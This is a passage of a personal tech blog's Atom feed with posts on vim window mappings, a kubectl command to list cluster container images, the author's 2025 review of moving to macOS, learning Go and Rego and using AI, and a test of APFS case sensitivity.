&lt;p&gt;Moving between the splits can be done with &lt;code&gt;C-w &amp;lt;hjkl&amp;gt;&lt;/code&gt;, so
&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;w&lt;/kbd&gt; &lt;kbd&gt;l&lt;/kbd&gt; to jump to the window
split on the right. On Stack Overflow there were many other
suggestions, but the above works out of the box and you don't have to
move your hands away to use the arrow keys.&lt;/p&gt;
&lt;p&gt;Mapping these makes it a lot faster, though:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;nmap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;&amp;lt;C-h&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;&amp;lt;C-w&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="n"&gt;nmap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;&amp;lt;C-j&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;&amp;lt;C-w&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;
&lt;span class="n"&gt;nmap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;&amp;lt;C-k&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;&amp;lt;C-w&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;
&lt;span class="n"&gt;nmap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;&amp;lt;C-l&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;&amp;lt;C-w&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="unix"/><category term="unix"/><category term="vim"/></entry><entry><title>List Container Images in a Kubernetes Cluster</title><link href="https://skybert.net/linux/list-container-images-in-a-kubernetes-cluster" rel="alternate"/><published>2026-01-09T00:00:00+01:00</published><updated>2026-01-09T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2026-01-09:/linux/list-container-images-in-a-kubernetes-cluster</id><summary type="html">&lt;p&gt;To get all Kubernetes images in all namespaces, use the following
command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;kubectl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pods&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;namespaces&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jsonpath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;{.items[*].spec[&amp;#39;initContainers&amp;#39;, &amp;#39;containers&amp;#39;][*].image}&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;s# #\n#g&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;sort&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is both useful to see what components are running and what their
versions are, as this is listed with …&lt;/p&gt;</summary><content type="html">&lt;p&gt;To get all Kubernetes images in all namespaces, use the following
command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;kubectl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pods&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;namespaces&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jsonpath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;{.items[*].spec[&amp;#39;initContainers&amp;#39;, &amp;#39;containers&amp;#39;][*].image}&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;s# #\n#g&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;sort&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is both useful to see what components are running and what their
versions are, as this is listed with the image name, e.g.:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;registry.k8s.io/coredns/coredns&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s"&gt;v1.13.1&lt;/span&gt;
&lt;span class="na"&gt;registry.k8s.io/etcd&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s"&gt;3.6.6-0&lt;/span&gt;
&lt;span class="na"&gt;registry.k8s.io/kube-apiserver&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s"&gt;v1.35.0&lt;/span&gt;
&lt;span class="na"&gt;registry.k8s.io/kube-controller-manager&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s"&gt;v1.35.0&lt;/span&gt;
&lt;span class="na"&gt;registry.k8s.io/kube-proxy&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s"&gt;v1.35.0&lt;/span&gt;
&lt;span class="na"&gt;registry.k8s.io/kube-scheduler&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="s"&gt;v1.35.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Happy hacking!&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="containers"/><category term="kubernetes"/></entry><entry><title>My Discoveries in 2025</title><link href="https://skybert.net/various/my-discoveries-in-2025" rel="alternate"/><published>2025-12-23T00:00:00+01:00</published><updated>2025-12-23T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-12-23:/various/my-discoveries-in-2025</id><summary type="html">&lt;h2&gt;macOS&lt;/h2&gt;
&lt;p&gt;For the first time since 2000, I'm not using Linux as my main
workstation. Moving to macOS has been an interesting experience and
I've made many tweaks and hacks to make it a comfortable Unix
environment. Among other things, I've written
&lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/macos/install-unix-env-on-macos.sh#L1"&gt;install-unix-env-on-macos.sh&lt;/a&gt;
which configures many macOS features and …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;macOS&lt;/h2&gt;
&lt;p&gt;For the first time since 2000, I'm not using Linux as my main
workstation. Moving to macOS has been an interesting experience and
I've made many tweaks and hacks to make it a comfortable Unix
environment. Among other things, I've written
&lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/macos/install-unix-env-on-macos.sh#L1"&gt;install-unix-env-on-macos.sh&lt;/a&gt;
which configures many macOS features and installs the applications I
cannot live without.&lt;/p&gt;
&lt;p&gt;The biggest change coming from Linux, was to find a decent window
manager. The best I have found, is
&lt;a href="https://nikitabobko.github.io/AeroSpace/guide"&gt;Aerospace&lt;/a&gt;, it's &lt;code&gt;i3&lt;/code&gt;
like, but still far from it. It's slower and has lots of bugs. Still,
it makes working on macOS bearable. You may check out &lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/aerospace/.aerospace.toml#L1"&gt;my Aerospace
conf
here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I dearly missed a floating, transparent clock, a minimalistic menu
bar (like &lt;code&gt;i3bar&lt;/code&gt;), the ability to quickly jump to any window using fuzzy search
(like &lt;code&gt;rofi&lt;/code&gt;), as well as a better resource monitor (&lt;code&gt;top&lt;/code&gt;). To close these gaps, I wrote the apps myself since I
couldn't find any existing ones that did &lt;em&gt;exactly&lt;/em&gt; what I wanted:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/skybert/ybar"&gt;ybar&lt;/a&gt; (Swift)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/skybert/yclock"&gt;yclock&lt;/a&gt; (Swift)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/skybert/yjump"&gt;yjump&lt;/a&gt; (Swift)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/skybert/ytop"&gt;ytop&lt;/a&gt; (Go)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Swift apps &lt;code&gt;yjump&lt;/code&gt;, &lt;code&gt;yclock&lt;/code&gt; and &lt;code&gt;ybar&lt;/code&gt; were vibe coded (I didn't
care about the code, I just wanted to get apps that did what I wanted
them to), whereas &lt;code&gt;ytop&lt;/code&gt; was written without any AI assistance.&lt;/p&gt;
&lt;h3&gt;yclock&lt;/h3&gt;
&lt;p&gt;&lt;a href="/graphics/2025/yclock-analogue.png"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/yclock-analogue.png"
    alt="yclock"
    style="width: 40%"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;ytop&lt;/h3&gt;
&lt;p&gt;&lt;a href="/graphics/2025/ytop.png"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/ytop.png"
    alt="ytop"
    style="width: 70%"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;ybar&lt;/h3&gt;
&lt;p&gt;&lt;a href="/graphics/2025/ybar.png"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/ybar.png"
    alt="ybar"
    style="width: 70%"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;yjump&lt;/h3&gt;
&lt;p&gt;&lt;a href="/graphics/2025/yjump.png"&gt;
  &lt;img
    class="centered"
    src="/graphics/2025/yjump.png"
    alt="yjump with fuzzy search for windows"
    style="width: 70%"
  /&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Go&lt;/h2&gt;
&lt;p&gt;I've learned a new programming language, &lt;a href="https://go.dev/"&gt;Go&lt;/a&gt;, and
must say I like it! As for learning ressources, I can recommend the book, &lt;a href="https://www.oreilly.com/library/view/learning-go/9781492077206/"&gt;Learning
Go&lt;/a&gt;.
It was my primary learning resource, in addition to &lt;a href="https://go.dev/doc/effective_go"&gt;Effective
Go&lt;/a&gt;. For the first couple of months,
I refrained from using AI in any form to assist me as I wanted to
learn Go the hard way as it &lt;a href="https://skybert.net/aifail/dont-fear-the-pointer/"&gt;makes me better remember what I
learn&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Naturally, I made a number of enhancements to my Emacs configuation to
make it into a powerful editor for writing Go programs. I have documented
all these steps in &lt;a href="https://www.youtube.com/watch?v=p_xX_vX8M7g"&gt;this YouTube
video&lt;/a&gt;. The Emacs
configuration changes can be found in my
&lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/emacs/.emacs#L882"&gt;.emacs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Picture from my home office where I spent several weekends getting
into Go:
&lt;img
  class="centered"
  src="https://media.hachyderm.io/media_attachments/files/114/336/289/584/163/488/original/7a7555c831071f33.jpg"
  alt="Reading an excellent Go book and coding in Emacs"
  style="width: 70%"
/&gt;&lt;/p&gt;
&lt;h2&gt;Rego&lt;/h2&gt;
&lt;p&gt;I've learned a new authorization language, Rego from &lt;a href="https://www.openpolicyagent.org/docs/policy-language#entrypoint"&gt;Open Policy
Agent&lt;/a&gt;
(OPA).&lt;/p&gt;
&lt;p&gt;Emacs/Eglot together with the Regal language server makes for a decent editing environment. It didn't provide an easy way to run tests, so to run Rego tests from Emacs, I wrote &lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/emacs/.emacs#L996"&gt;this elisp function&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Garuda Linux&lt;/h2&gt;
&lt;p&gt;Arch Linux is my preferred desktop OS, and Debian is the distro I
reach for when installing servers. Still, I cannot but &lt;em&gt;love&lt;/em&gt; Garuda
Linux and enjoy &lt;a href="https://hachyderm.io/@skybert/114585497320204119"&gt;taking it for a
spin&lt;/a&gt; every now and
then:&lt;/p&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="https://media.hachyderm.io/media_attachments/files/114/585/492/343/416/200/original/bb3cc161811991de.png"
  alt="Garuda Linux"
  style="width: 70%"
/&gt;&lt;/p&gt;
&lt;h2&gt;AI&lt;/h2&gt;
&lt;p&gt;AI is being shoved down our throuts whether we want it or not. I've
thought long and hard about how to use AI and what AI assisted coding
(vibing included) does to us. I've written this article about it,
called &lt;a href="https://skybert.net/aifail/dont-fear-the-pointer/"&gt;Don't fear the
pointer&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I think &lt;a href="https://theoatmeal.com/comics/ai_art"&gt;this article on AI in
art&lt;/a&gt; and &lt;a href="https://hachyderm.io/@VeroniqueB99@mastodon.social/114411941307880367"&gt;this
graphic&lt;/a&gt;
sums it up perfectly:&lt;/p&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="https://media.hachyderm.io/cache/media_attachments/files/114/411/941/281/223/057/original/6db843dab8c1df4b.png"
  alt="quote about AI ending up doing the interesting things and humans doing the chores"
/&gt;&lt;/p&gt;
&lt;p&gt;For the record, I use AI every day: For resarch, to explain code
(e.g. "what does the bit shifting in this &lt;code&gt;tcpdump&lt;/code&gt; command do?") and
to review code I've just written (e.g. "can this be written more
pythonic?"), and code where I don't care about the details (like tests
and converting between different data formats). For the cases where I
"just want to make it work". I've gotten extensive experience in using
&lt;a href="https://github.com/features/copilot/cli/"&gt;GitHub Copilot CLI&lt;/a&gt;,
developing three full apps from scratch with it, and using it to fix
failing test cases. I've also have had AI completion configured in my
editor for a couple of years already, it sure is fun in the beginning
(I've turned it off, though).&lt;/p&gt;
&lt;h2&gt;Thanks!&lt;/h2&gt;
&lt;p&gt;And with that, I'm signing off, looking forward to new technological
challenges in 2026. TTFN!&lt;/p&gt;</content><category term="various"/><category term="various"/><category term="ai"/><category term="emacs"/><category term="go"/><category term="rego"/></entry><entry><title>Beware of the case sensitivity in macOS</title><link href="https://skybert.net/mac-os-x/beware-of-the-case-sensitivity-in-macos" rel="alternate"/><published>2025-12-17T00:00:00+01:00</published><updated>2025-12-17T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-12-17:/mac-os-x/beware-of-the-case-sensitivity-in-macos</id><summary type="html">&lt;p&gt;Let's see what kind of file system this is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;diskutil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;File System Personality&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Personality:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;APFS&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Is it case sensitive?&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;touch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/tmp/&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;Foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;FoO&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;fOO&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This looks good, the &lt;code&gt;touch&lt;/code&gt; command produced different files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ls&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/tmp/&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;Foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;FoO&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;fOO&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;torstein&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;wheel …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Let's see what kind of file system this is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;diskutil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#39;File System Personality&amp;#39;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Personality:&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;APFS&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Is it case sensitive?&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;touch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/tmp/&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;Foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;FoO&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;fOO&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This looks good, the &lt;code&gt;touch&lt;/code&gt; command produced different files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ls&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/tmp/&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;Foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;FoO&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;fOO&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;torstein&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;wheel&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Dec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/tmp/&lt;/span&gt;&lt;span class="n"&gt;FoO&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;torstein&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;wheel&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Dec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/tmp/&lt;/span&gt;&lt;span class="n"&gt;Foo&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;torstein&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;wheel&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Dec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/tmp/&lt;/span&gt;&lt;span class="n"&gt;fOO&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;torstein&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;wheel&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Dec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sr"&gt;/tmp/&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Let's check that they can contain different things as well:&lt;/p&gt;
